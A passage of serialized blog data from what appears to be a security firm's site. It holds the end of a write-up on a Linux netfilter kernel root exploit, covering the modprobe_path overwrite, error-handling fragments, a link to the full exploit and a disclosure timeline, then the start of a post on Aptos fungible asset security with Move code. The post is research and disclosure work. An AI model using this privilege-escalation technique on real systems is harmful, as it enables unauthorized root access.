perror",{"type":25,"tag":216,"props":64671,"children":64672},{"style":6958},[64673],{"type":31,"value":1844},{"type":25,"tag":216,"props":64675,"children":64676},{"style":8199},[64677],{"type":31,"value":64678},"\"[-] read(socket)\"",{"type":25,"tag":216,"props":64680,"children":64681},{"style":6958},[64682],{"type":31,"value":7791},{"type":25,"tag":216,"props":64684,"children":64685},{"class":6916,"line":27771},[64686,64691,64695,64699],{"type":25,"tag":216,"props":64687,"children":64688},{"style":6967},[64689],{"type":31,"value":64690},"                return",{"type":25,"tag":216,"props":64692,"children":64693},{"style":6947},[64694],{"type":31,"value":55218},{"type":25,"tag":216,"props":64696,"children":64697},{"style":6983},[64698],{"type":31,"value":184},{"type":25,"tag":216,"props":64700,"children":64701},{"style":6958},[64702],{"type":31,"value":6961},{"type":25,"tag":216,"props":64704,"children":64705},{"class":6916,"line":27784},[64706],{"type":25,"tag":216,"props":64707,"children":64708},{"style":6958},[64709],{"type":31,"value":62846},{"type":25,"tag":216,"props":64711,"children":64712},{"class":6916,"line":27797},[64713],{"type":25,"tag":216,"props":64714,"children":64715},{"style":6958},[64716],{"type":31,"value":7296},{"type":25,"tag":216,"props":64718,"children":64719},{"class":6916,"line":27810},[64720],{"type":25,"tag":216,"props":64721,"children":64722},{"style":6958},[64723],{"type":31,"value":7305},{"type":25,"tag":216,"props":64725,"children":64726},{"class":6916,"line":27864},[64727,64731,64735,64740],{"type":25,"tag":216,"props":64728,"children":64729},{"style":7041},[64730],{"type":31,"value":59469},{"type":25,"tag":216,"props":64732,"children":64733},{"style":6958},[64734],{"type":31,"value":1844},{"type":25,"tag":216,"props":64736,"children":64737},{"style":8199},[64738],{"type":31,"value":64739},"\"[-] fake modprobe failed\"",{"type":25,"tag":216,"props":64741,"children":64742},{"style":6958},[64743],{"type":31,"value":7791},{"type":25,"tag":216,"props":64745,"children":64746},{"class":6916,"line":27873},[64747],{"type":25,"tag":216,"props":64748,"children":64749},{"style":6958},[64750],{"type":31,"value":14269},{"type":25,"tag":38,"props":64752,"children":64753},{},[64754,64756,64763],{"type":31,"value":64755},"This trick has already been throughly detailed by ",{"type":25,"tag":162,"props":64757,"children":64760},{"href":64758,"rel":64759},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[166],[64761],{"type":31,"value":64762},"lau",{"type":31,"value":64764},", so we won't go much more into it.",{"type":25,"tag":607,"props":64766,"children":64768},{"id":64767},"universal-exploit-demo",[64769],{"type":31,"value":64770},"Universal exploit demo",{"type":25,"tag":38,"props":64772,"children":64773},{},[64774,64776,64782],{"type":31,"value":64775},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":25,"tag":162,"props":64777,"children":64780},{"href":64778,"rel":64779},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[166],[64781],{"type":31,"value":61377},{"type":31,"value":179},{"type":25,"tag":26,"props":64784,"children":64786},{"id":64785},"disclosure-timeline",[64787],{"type":31,"value":64788},"Disclosure Timeline",{"type":25,"tag":2033,"props":64790,"children":64791},{},[64792,64797,64802,64807,64812],{"type":25,"tag":2037,"props":64793,"children":64794},{},[64795],{"type":31,"value":64796},"March 21st -- Patch made public",{"type":25,"tag":2037,"props":64798,"children":64799},{},[64800],{"type":31,"value":64801},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":25,"tag":2037,"props":64803,"children":64804},{},[64805],{"type":31,"value":64806},"March 24th -- Wrote KernelCTF exploit",{"type":25,"tag":2037,"props":64808,"children":64809},{},[64810],{"type":31,"value":64811},"March 26th -- Wrote Universal exploit",{"type":25,"tag":2037,"props":64813,"children":64814},{},[64815],{"type":31,"value":64816},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":25,"tag":38,"props":64818,"children":64819},{},[64820],{"type":31,"value":64821},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":25,"tag":26,"props":64823,"children":64824},{"id":32886},[64825],{"type":31,"value":22901},{"type":25,"tag":38,"props":64827,"children":64828},{},[64829],{"type":31,"value":64830},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":25,"tag":38,"props":64832,"children":64833},{},[64834],{"type":31,"value":64835},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are live.",{"type":25,"tag":9310,"props":64837,"children":64838},{},[64839],{"type":31,"value":9314},{"title":7,"searchDepth":6763,"depth":6763,"links":64841},[64842,64845,64848,64851,64852,64862,64870,64871],{"id":54530,"depth":6763,"text":54533,"children":64843},[64844],{"id":54551,"depth":6772,"text":54554},{"id":54594,"depth":6763,"text":54594,"children":64846},[64847],{"id":54641,"depth":6772,"text":54644},{"id":54699,"depth":6763,"text":54702,"children":64849},[64850],{"id":55861,"depth":6772,"text":55864},{"id":57736,"depth":6763,"text":57739},{"id":58138,"depth":6763,"text":58141,"children":64853},[64854,64855,64856,64858,64859,64860,64861],{"id":58165,"depth":6772,"text":58168},{"id":59047,"depth":6772,"text":59050},{"id":59633,"depth":6772,"text":64857},"Leaking self pointer of nft_object",{"id":60031,"depth":6772,"text":60034},{"id":60544,"depth":6772,"text":60547},{"id":60674,"depth":6772,"text":60332},{"id":61358,"depth":6772,"text":61361},{"id":61381,"depth":6763,"text":61384,"children":64863},[64864,64865,64866,64867,64869],{"id":61392,"depth":6772,"text":61395},{"id":62250,"depth":6772,"text":62253},{"id":62325,"depth":6772,"text":62328},{"id":63950,"depth":6772,"text":64868},"Overwriting modprobe_path",{"id":64767,"depth":6772,"text":64770},{"id":64785,"depth":6763,"text":64788},{"id":32886,"depth":6763,"text":22901},"content:blog:2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day",{"_path":64876,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":64877,"description":64878,"image":64879,"date":64881,"isFeatured":16,"onBlogPage":16,"tags":64882,"body":64883,"_type":6792,"_id":71601,"_source":6794,"_file":71602,"_stem":71603,"_extension":6797},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware of.",{"src":64880,"width":9330,"height":9331},"/posts/aptos-guide/title.png","2025-02-10",[9825],{"type":22,"children":64884,"toc":71585},[64885,64898,64903,64912,64918,64946,65019,65059,65093,65254,65273,65354,65394,65422,65439,65444,65452,65457,65463,65484,65564,65597,65605,65618,65623,66007,66012,66017,66023,66028,66040,66144,66182,66185,66203,66511,66516,66528,66534,66560,66581,66586,66765,66785,66791,66811,66823,66828,66834,66846,66909,66936,66960,67181,67184,67203,67313,67370,67506,67533,67539,67565,67809,67837,68139,68172,68186,68212,68245,68552,68564,68841,68855,69172,69191,69197,69229,69269,69370,69390,69510,69527,69601,69613,69701,69722,69728,69733,69738,69755,69776,70147,70206,70211,70662,70667,70703,70709,70721,70743,70769,70976,70990,71245,71257,71284,71435,71454,71484,71488,71499,71504,71517,71581],{"type":25,"tag":38,"props":64886,"children":64887},{},[64888,64890,64896],{"type":31,"value":64889},"Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":25,"tag":82,"props":64891,"children":64893},{"className":64892},[],[64894],{"type":31,"value":64895},"coin",{"type":31,"value":64897}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":25,"tag":38,"props":64899,"children":64900},{},[64901],{"type":31,"value":64902},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":25,"tag":64904,"props":64905,"children":64906},"important",{},[64907],{"type":25,"tag":38,"props":64908,"children":64909},{},[64910],{"type":31,"value":64911},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":25,"tag":26,"props":64913,"children":64915},{"id":64914},"aptos-coin-standard",[64916],{"type":31,"value":64917},"Aptos Coin standard",{"type":25,"tag":38,"props":64919,"children":64920},{},[64921,64923,64929,64931,64936,64937,64944],{"type":31,"value":64922},"In the beginning, Aptos used ",{"type":25,"tag":82,"props":64924,"children":64926},{"className":64925},[],[64927],{"type":31,"value":64928},"Coin",{"type":31,"value":64930},". It is still in use, although it is now considered \"legacy\". ",{"type":25,"tag":82,"props":64932,"children":64934},{"className":64933},[],[64935],{"type":31,"value":64928},{"type":31,"value":1674},{"type":25,"tag":162,"props":64938,"children":64941},{"href":64939,"rel":64940},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[166],[64942],{"type":31,"value":64943},"defined",{"type":31,"value":64945}," in Aptos as follows:",{"type":25,"tag":206,"props":64947,"children":64949},{"className":6909,"code":64948,"language":6908,"meta":7,"style":7},"struct Coin\u003Cphantom CoinType> has store {\n    value: u64,\n}\n",[64950],{"type":25,"tag":82,"props":64951,"children":64952},{"__ignoreMap":7},[64953,64992,65012],{"type":25,"tag":216,"props":64954,"children":64955},{"class":6916,"line":6917},[64956,64960,64964,64968,64972,64976,64980,64984,64988],{"type":25,"tag":216,"props":64957,"children":64958},{"style":6930},[64959],{"type":31,"value":13351},{"type":25,"tag":216,"props":64961,"children":64962},{"style":7369},[64963],{"type":31,"value":9746},{"type":25,"tag":216,"props":64965,"children":64966},{"style":6958},[64967],{"type":31,"value":9751},{"type":25,"tag":216,"props":64969,"children":64970},{"style":6941},[64971],{"type":31,"value":9756},{"type":25,"tag":216,"props":64973,"children":64974},{"style":7369},[64975],{"type":31,"value":9761},{"type":25,"tag":216,"props":64977,"children":64978},{"style":6958},[64979],{"type":31,"value":9766},{"type":25,"tag":216,"props":64981,"children":64982},{"style":6941},[64983],{"type":31,"value":9771},{"type":25,"tag":216,"props":64985,"children":64986},{"style":6941},[64987],{"type":31,"value":9776},{"type":25,"tag":216,"props":64989,"children":64990},{"style":6958},[64991],{"type":31,"value":7235},{"type":25,"tag":216,"props":64993,"children":64994},{"class":6916,"line":6763},[64995,65000,65004,65008],{"type":25,"tag":216,"props":64996,"children":64997},{"style":6941},[64998],{"type":31,"value":64999},"    value",{"type":25,"tag":216,"props":65001,"children":65002},{"style":6947},[65003],{"type":31,"value":1466},{"type":25,"tag":216,"props":65005,"children":65006},{"style":7369},[65007],{"type":31,"value":9805},{"type":25,"tag":216,"props":65009,"children":65010},{"style":6958},[65011],{"type":31,"value":7459},{"type":25,"tag":216,"props":65013,"children":65014},{"class":6916,"line":6772},[65015],{"type":25,"tag":216,"props":65016,"children":65017},{"style":6958},[65018],{"type":31,"value":7868},{"type":25,"tag":38,"props":65020,"children":65021},{},[65022,65024,65029,65031,65037,65038,65044,65046,65051,65053,65058],{"type":31,"value":65023},"Aptos distinguishes coins by their type (",{"type":25,"tag":82,"props":65025,"children":65027},{"className":65026},[],[65028],{"type":31,"value":10529},{"type":31,"value":65030},") at compile time. For example, ",{"type":25,"tag":82,"props":65032,"children":65034},{"className":65033},[],[65035],{"type":31,"value":65036},"Coin\u003COtter>",{"type":31,"value":1301},{"type":25,"tag":82,"props":65039,"children":65041},{"className":65040},[],[65042],{"type":31,"value":65043},"Coin\u003CWeasel>",{"type":31,"value":65045}," represent different coins, and you cannot pass a ",{"type":25,"tag":82,"props":65047,"children":65049},{"className":65048},[],[65050],{"type":31,"value":65043},{"type":31,"value":65052}," to a function expecting ",{"type":25,"tag":82,"props":65054,"children":65056},{"className":65055},[],[65057],{"type":31,"value":65036},{"type":31,"value":179},{"type":25,"tag":38,"props":65060,"children":65061},{},[65062,65064,65069,65071,65076,65078,65083,65085,65091],{"type":31,"value":65063},"The type signature reveals why ",{"type":25,"tag":82,"props":65065,"children":65067},{"className":65066},[],[65068],{"type":31,"value":64928},{"type":31,"value":65070}," has become a legacy standard. ",{"type":25,"tag":82,"props":65072,"children":65074},{"className":65073},[],[65075],{"type":31,"value":64928},{"type":31,"value":65077}," has only the ",{"type":25,"tag":82,"props":65079,"children":65081},{"className":65080},[],[65082],{"type":31,"value":9886},{"type":31,"value":65084}," ability and uses a ",{"type":25,"tag":82,"props":65086,"children":65088},{"className":65087},[],[65089],{"type":31,"value":65090},"CoinStore",{"type":31,"value":65092}," wrapper to store the coin and metadata:",{"type":25,"tag":206,"props":65094,"children":65096},{"className":6909,"code":65095,"language":6908,"meta":7,"style":7},"struct CoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>,\n    frozen: bool,\n    deposit_events: EventHandle\u003CDepositEvent>,\n    withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[65097],{"type":25,"tag":82,"props":65098,"children":65099},{"__ignoreMap":7},[65100,65140,65168,65188,65218,65247],{"type":25,"tag":216,"props":65101,"children":65102},{"class":6916,"line":6917},[65103,65107,65112,65116,65120,65124,65128,65132,65136],{"type":25,"tag":216,"props":65104,"children":65105},{"style":6930},[65106],{"type":31,"value":13351},{"type":25,"tag":216,"props":65108,"children":65109},{"style":7369},[65110],{"type":31,"value":65111}," CoinStore",{"type":25,"tag":216,"props":65113,"children":65114},{"style":6958},[65115],{"type":31,"value":9751},{"type":25,"tag":216,"props":65117,"children":65118},{"style":6941},[65119],{"type":31,"value":9756},{"type":25,"tag":216,"props":65121,"children":65122},{"style":7369},[65123],{"type":31,"value":9761},{"type":25,"tag":216,"props":65125,"children":65126},{"style":6958},[65127],{"type":31,"value":9766},{"type":25,"tag":216,"props":65129,"children":65130},{"style":6941},[65131],{"type":31,"value":9771},{"type":25,"tag":216,"props":65133,"children":65134},{"style":6941},[65135],{"type":31,"value":9877},{"type":25,"tag":216,"props":65137,"children":65138},{"style":6958},[65139],{"type":31,"value":7235},{"type":25,"tag":216,"props":65141,"children":65142},{"class":6916,"line":6763},[65143,65148,65152,65156,65160,65164],{"type":25,"tag":216,"props":65144,"children":65145},{"style":6941},[65146],{"type":31,"value":65147},"    coin",{"type":25,"tag":216,"props":65149,"children":65150},{"style":6947},[65151],{"type":31,"value":1466},{"type":25,"tag":216,"props":65153,"children":65154},{"style":7369},[65155],{"type":31,"value":9746},{"type":25,"tag":216,"props":65157,"children":65158},{"style":6958},[65159],{"type":31,"value":9751},{"type":25,"tag":216,"props":65161,"children":65162},{"style":7369},[65163],{"type":31,"value":10529},{"type":25,"tag":216,"props":65165,"children":65166},{"style":6958},[65167],{"type":31,"value":10083},{"type":25,"tag":216,"props":65169,"children":65170},{"class":6916,"line":6772},[65171,65176,65180,65184],{"type":25,"tag":216,"props":65172,"children":65173},{"style":6941},[65174],{"type":31,"value":65175},"    frozen",{"type":25,"tag":216,"props":65177,"children":65178},{"style":6947},[65179],{"type":31,"value":1466},{"type":25,"tag":216,"props":65181,"children":65182},{"style":7369},[65183],{"type":31,"value":16000},{"type":25,"tag":216,"props":65185,"children":65186},{"style":6958},[65187],{"type":31,"value":7459},{"type":25,"tag":216,"props":65189,"children":65190},{"class":6916,"line":6999},[65191,65196,65200,65205,65209,65214],{"type":25,"tag":216,"props":65192,"children":65193},{"style":6941},[65194],{"type":31,"value":65195},"    deposit_events",{"type":25,"tag":216,"props":65197,"children":65198},{"style":6947},[65199],{"type":31,"value":1466},{"type":25,"tag":216,"props":65201,"children":65202},{"style":7369},[65203],{"type":31,"value":65204}," EventHandle",{"type":25,"tag":216,"props":65206,"children":65207},{"style":6958},[65208],{"type":31,"value":9751},{"type":25,"tag":216,"props":65210,"children":65211},{"style":7369},[65212],{"type":31,"value":65213},"DepositEvent",{"type":25,"tag":216,"props":65215,"children":65216},{"style":6958},[65217],{"type":31,"value":10083},{"type":25,"tag":216,"props":65219,"children":65220},{"class":6916,"line":7104},[65221,65226,65230,65234,65238,65243],{"type":25,"tag":216,"props":65222,"children":65223},{"style":6941},[65224],{"type":31,"value":65225},"    withdraw_events",{"type":25,"tag":216,"props":65227,"children":65228},{"style":6947},[65229],{"type":31,"value":1466},{"type":25,"tag":216,"props":65231,"children":65232},{"style":7369},[65233],{"type":31,"value":65204},{"type":25,"tag":216,"props":65235,"children":65236},{"style":6958},[65237],{"type":31,"value":9751},{"type":25,"tag":216,"props":65239,"children":65240},{"style":7369},[65241],{"type":31,"value":65242},"WithdrawEvent",{"type":25,"tag":216,"props":65244,"children":65245},{"style":6958},[65246],{"type":31,"value":10083},{"type":25,"tag":216,"props":65248,"children":65249},{"class":6916,"line":7210},[65250],{"type":25,"tag":216,"props":65251,"children":65252},{"style":6958},[65253],{"type":31,"value":7868},{"type":25,"tag":38,"props":65255,"children":65256},{},[65257,65259,65264,65266,65271],{"type":31,"value":65258},"However, an astute reader would note that this isn't the only place a ",{"type":25,"tag":82,"props":65260,"children":65262},{"className":65261},[],[65263],{"type":31,"value":64928},{"type":31,"value":65265}," can be stored. You can create your own ",{"type":25,"tag":82,"props":65267,"children":65269},{"className":65268},[],[65270],{"type":31,"value":64928},{"type":31,"value":65272}," wallet, which could look like this:",{"type":25,"tag":206,"props":65274,"children":65276},{"className":6909,"code":65275,"language":6908,"meta":7,"style":7},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>\n}\n",[65277],{"type":25,"tag":82,"props":65278,"children":65279},{"__ignoreMap":7},[65280,65320,65347],{"type":25,"tag":216,"props":65281,"children":65282},{"class":6916,"line":6917},[65283,65287,65292,65296,65300,65304,65308,65312,65316],{"type":25,"tag":216,"props":65284,"children":65285},{"style":6930},[65286],{"type":31,"value":13351},{"type":25,"tag":216,"props":65288,"children":65289},{"style":7369},[65290],{"type":31,"value":65291}," DefinitelyLegitCoinStore",{"type":25,"tag":216,"props":65293,"children":65294},{"style":6958},[65295],{"type":31,"value":9751},{"type":25,"tag":216,"props":65297,"children":65298},{"style":6941},[65299],{"type":31,"value":9756},{"type":25,"tag":216,"props":65301,"children":65302},{"style":7369},[65303],{"type":31,"value":9761},{"type":25,"tag":216,"props":65305,"children":65306},{"style":6958},[65307],{"type":31,"value":9766},{"type":25,"tag":216,"props":65309,"children":65310},{"style":6941},[65311],{"type":31,"value":9771},{"type":25,"tag":216,"props":65313,"children":65314},{"style":6941},[65315],{"type":31,"value":9877},{"type":25,"tag":216,"props":65317,"children":65318},{"style":6958},[65319],{"type":31,"value":7235},{"type":25,"tag":216,"props":65321,"children":65322},{"class":6916,"line":6763},[65323,65327,65331,65335,65339,65343],{"type":25,"tag":216,"props":65324,"children":65325},{"style":6941},[65326],{"type":31,"value":65147},{"type":25,"tag":216,"props":65328,"children":65329},{"style":6947},[65330],{"type":31,"value":1466},{"type":25,"tag":216,"props":65332,"children":65333},{"style":7369},[65334],{"type":31,"value":9746},{"type":25,"tag":216,"props":65336,"children":65337},{"style":6958},[65338],{"type":31,"value":9751},{"type":25,"tag":216,"props":65340,"children":65341},{"style":7369},[65342],{"type":31,"value":10529},{"type":25,"tag":216,"props":65344,"children":65345},{"style":6958},[65346],{"type":31,"value":9937},{"type":25,"tag":216,"props":65348,"children":65349},{"class":6916,"line":6772},[65350],{"type":25,"tag":216,"props":65351,"children":65352},{"style":6958},[65353],{"type":31,"value":7868},{"type":25,"tag":38,"props":65355,"children":65356},{},[65357,65362,65364,65370,65372,65377,65379,65385,65387,65392],{"type":25,"tag":82,"props":65358,"children":65360},{"className":65359},[],[65361],{"type":31,"value":65090},{"type":31,"value":65363}," includes a ",{"type":25,"tag":82,"props":65365,"children":65367},{"className":65366},[],[65368],{"type":31,"value":65369},"frozen",{"type":31,"value":65371}," field, allowing the issuer to block transfers to and from the store. ",{"type":25,"tag":82,"props":65373,"children":65375},{"className":65374},[],[65376],{"type":31,"value":65090},{"type":31,"value":65378}," is also required for a ",{"type":25,"tag":82,"props":65380,"children":65382},{"className":65381},[],[65383],{"type":31,"value":65384},"burn_from",{"type":31,"value":65386}," operation, which withdraws the ",{"type":25,"tag":82,"props":65388,"children":65390},{"className":65389},[],[65391],{"type":31,"value":64895},{"type":31,"value":65393}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":25,"tag":38,"props":65395,"children":65396},{},[65397,65399,65404,65406,65413,65415,65420],{"type":31,"value":65398},"Storing ",{"type":25,"tag":82,"props":65400,"children":65402},{"className":65401},[],[65403],{"type":31,"value":64895},{"type":31,"value":65405}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":25,"tag":162,"props":65407,"children":65410},{"href":65408,"rel":65409},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[166],[65411],{"type":31,"value":65412},"AIP-21",{"type":31,"value":65414}," summarizes the ",{"type":25,"tag":82,"props":65416,"children":65418},{"className":65417},[],[65419],{"type":31,"value":64895},{"type":31,"value":65421}," problems:",{"type":25,"tag":34,"props":65423,"children":65424},{},[65425,65434],{"type":25,"tag":38,"props":65426,"children":65427},{},[65428,65432],{"type":25,"tag":216,"props":65429,"children":65430},{},[65431],{"type":31,"value":13541},{"type":31,"value":65433}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":25,"tag":38,"props":65435,"children":65436},{},[65437],{"type":31,"value":65438},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":25,"tag":38,"props":65440,"children":65441},{},[65442],{"type":31,"value":65443},"And declares, that:",{"type":25,"tag":34,"props":65445,"children":65446},{},[65447],{"type":25,"tag":38,"props":65448,"children":65449},{},[65450],{"type":31,"value":65451},"Fungible assets addresses these issues.",{"type":25,"tag":38,"props":65453,"children":65454},{},[65455],{"type":31,"value":65456},"Let's find out whether this is indeed the case.",{"type":25,"tag":26,"props":65458,"children":65460},{"id":65459},"the-fungible-assets",[65461],{"type":31,"value":65462},"The fungible assets",{"type":25,"tag":38,"props":65464,"children":65465},{},[65466,65468,65474,65476,65483],{"type":31,"value":65467},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":25,"tag":82,"props":65469,"children":65471},{"className":65470},[],[65472],{"type":31,"value":65473},"FungibleAsset",{"type":31,"value":65475}," uses the ",{"type":25,"tag":162,"props":65477,"children":65480},{"href":65478,"rel":65479},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[166],[65481],{"type":31,"value":65482},"hot-potato pattern",{"type":31,"value":1466},{"type":25,"tag":206,"props":65485,"children":65487},{"className":6909,"code":65486,"language":6908,"meta":7,"style":7},"struct FungibleAsset {\n    metadata: Object\u003CMetadata>,\n    amount: u64,\n}\n",[65488],{"type":25,"tag":82,"props":65489,"children":65490},{"__ignoreMap":7},[65491,65507,65537,65557],{"type":25,"tag":216,"props":65492,"children":65493},{"class":6916,"line":6917},[65494,65498,65503],{"type":25,"tag":216,"props":65495,"children":65496},{"style":6930},[65497],{"type":31,"value":13351},{"type":25,"tag":216,"props":65499,"children":65500},{"style":7369},[65501],{"type":31,"value":65502}," FungibleAsset",{"type":25,"tag":216,"props":65504,"children":65505},{"style":6958},[65506],{"type":31,"value":7235},{"type":25,"tag":216,"props":65508,"children":65509},{"class":6916,"line":6763},[65510,65515,65519,65524,65528,65533],{"type":25,"tag":216,"props":65511,"children":65512},{"style":6941},[65513],{"type":31,"value":65514},"    metadata",{"type":25,"tag":216,"props":65516,"children":65517},{"style":6947},[65518],{"type":31,"value":1466},{"type":25,"tag":216,"props":65520,"children":65521},{"style":7369},[65522],{"type":31,"value":65523}," Object",{"type":25,"tag":216,"props":65525,"children":65526},{"style":6958},[65527],{"type":31,"value":9751},{"type":25,"tag":216,"props":65529,"children":65530},{"style":7369},[65531],{"type":31,"value":65532},"Metadata",{"type":25,"tag":216,"props":65534,"children":65535},{"style":6958},[65536],{"type":31,"value":10083},{"type":25,"tag":216,"props":65538,"children":65539},{"class":6916,"line":6772},[65540,65545,65549,65553],{"type":25,"tag":216,"props":65541,"children":65542},{"style":6941},[65543],{"type":31,"value":65544},"    amount",{"type":25,"tag":216,"props":65546,"children":65547},{"style":6947},[65548],{"type":31,"value":1466},{"type":25,"tag":216,"props":65550,"children":65551},{"style":7369},[65552],{"type":31,"value":9805},{"type":25,"tag":216,"props":65554,"children":65555},{"style":6958},[65556],{"type":31,"value":7459},{"type":25,"tag":216,"props":65558,"children":65559},{"class":6916,"line":6999},[65560],{"type":25,"tag":216,"props":65561,"children":65562},{"style":6958},[65563],{"type":31,"value":7868},{"type":25,"tag":38,"props":65565,"children":65566},{},[65567,65569,65574,65575,65580,65582,65587,65589,65596],{"type":31,"value":65568},"Unlike ",{"type":25,"tag":82,"props":65570,"children":65572},{"className":65571},[],[65573],{"type":31,"value":64928},{"type":31,"value":7020},{"type":25,"tag":82,"props":65576,"children":65578},{"className":65577},[],[65579],{"type":31,"value":65473},{"type":31,"value":65581}," types are defined at runtime through the ",{"type":25,"tag":82,"props":65583,"children":65585},{"className":65584},[],[65586],{"type":31,"value":65532},{"type":31,"value":65588}," field. This change was meant to ",{"type":25,"tag":162,"props":65590,"children":65593},{"href":65591,"rel":65592},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[166],[65594],{"type":31,"value":65595},"enhance extensibility",{"type":31,"value":1466},{"type":25,"tag":34,"props":65598,"children":65599},{},[65600],{"type":25,"tag":38,"props":65601,"children":65602},{},[65603],{"type":31,"value":65604},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":25,"tag":38,"props":65606,"children":65607},{},[65608,65610,65616],{"type":31,"value":65609},"An important implication is that functions accepting ",{"type":25,"tag":82,"props":65611,"children":65613},{"className":65612},[],[65614],{"type":31,"value":65615},"FungibleAssets",{"type":31,"value":65617}," must verify the metadata to ensure valid assets.",{"type":25,"tag":38,"props":65619,"children":65620},{},[65621],{"type":31,"value":65622},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":25,"tag":206,"props":65624,"children":65626},{"className":6909,"code":65625,"language":6908,"meta":7,"style":7},"public fun deposit\u003CT: key>(\n    sender: &signer, fa: FungibleAsset\n) acquires [...] {\n    assert_not_paused();\n    \n    let fa_amount = fungible_asset::amount(&fa);\n    let sender_address = address_of(sender);\n    check_compliance(fa_amount, sender_address);\n    \n    increase_deposit(get_vault(sender_address), fa_amount);\n    \n    primary_fungible_store::deposit(global_vault_address(), fa);\n    \n    event::emit(Deposit {sender_address, fa_amount})\n}\n",[65627],{"type":25,"tag":82,"props":65628,"children":65629},{"__ignoreMap":7},[65630,65667,65705,65729,65741,65749,65794,65828,65858,65865,65902,65909,65947,65954,66000],{"type":25,"tag":216,"props":65631,"children":65632},{"class":6916,"line":6917},[65633,65638,65642,65647,65651,65655,65659,65663],{"type":25,"tag":216,"props":65634,"children":65635},{"style":6941},[65636],{"type":31,"value":65637},"public",{"type":25,"tag":216,"props":65639,"children":65640},{"style":6941},[65641],{"type":31,"value":10152},{"type":25,"tag":216,"props":65643,"children":65644},{"style":6941},[65645],{"type":31,"value":65646}," deposit",{"type":25,"tag":216,"props":65648,"children":65649},{"style":6958},[65650],{"type":31,"value":9751},{"type":25,"tag":216,"props":65652,"children":65653},{"style":7369},[65654],{"type":31,"value":177},{"type":25,"tag":216,"props":65656,"children":65657},{"style":6947},[65658],{"type":31,"value":1466},{"type":25,"tag":216,"props":65660,"children":65661},{"style":6941},[65662],{"type":31,"value":9877},{"type":25,"tag":216,"props":65664,"children":65665},{"style":6958},[65666],{"type":31,"value":10534},{"type":25,"tag":216,"props":65668,"children":65669},{"class":6916,"line":6763},[65670,65675,65679,65683,65687,65691,65696,65700],{"type":25,"tag":216,"props":65671,"children":65672},{"style":6941},[65673],{"type":31,"value":65674},"    sender",{"type":25,"tag":216,"props":65676,"children":65677},{"style":6947},[65678],{"type":31,"value":1466},{"type":25,"tag":216,"props":65680,"children":65681},{"style":6947},[65682],{"type":31,"value":11087},{"type":25,"tag":216,"props":65684,"children":65685},{"style":6941},[65686],{"type":31,"value":11092},{"type":25,"tag":216,"props":65688,"children":65689},{"style":6958},[65690],{"type":31,"value":7020},{"type":25,"tag":216,"props":65692,"children":65693},{"style":6941},[65694],{"type":31,"value":65695},"fa",{"type":25,"tag":216,"props":65697,"children":65698},{"style":6947},[65699],{"type":31,"value":1466},{"type":25,"tag":216,"props":65701,"children":65702},{"style":7369},[65703],{"type":31,"value":65704}," FungibleAsset\n",{"type":25,"tag":216,"props":65706,"children":65707},{"class":6916,"line":6772},[65708,65712,65716,65720,65724],{"type":25,"tag":216,"props":65709,"children":65710},{"style":6958},[65711],{"type":31,"value":7030},{"type":25,"tag":216,"props":65713,"children":65714},{"style":6941},[65715],{"type":31,"value":10289},{"type":25,"tag":216,"props":65717,"children":65718},{"style":6958},[65719],{"type":31,"value":26972},{"type":25,"tag":216,"props":65721,"children":65722},{"style":6947},[65723],{"type":31,"value":13541},{"type":25,"tag":216,"props":65725,"children":65726},{"style":6958},[65727],{"type":31,"value":65728},"] 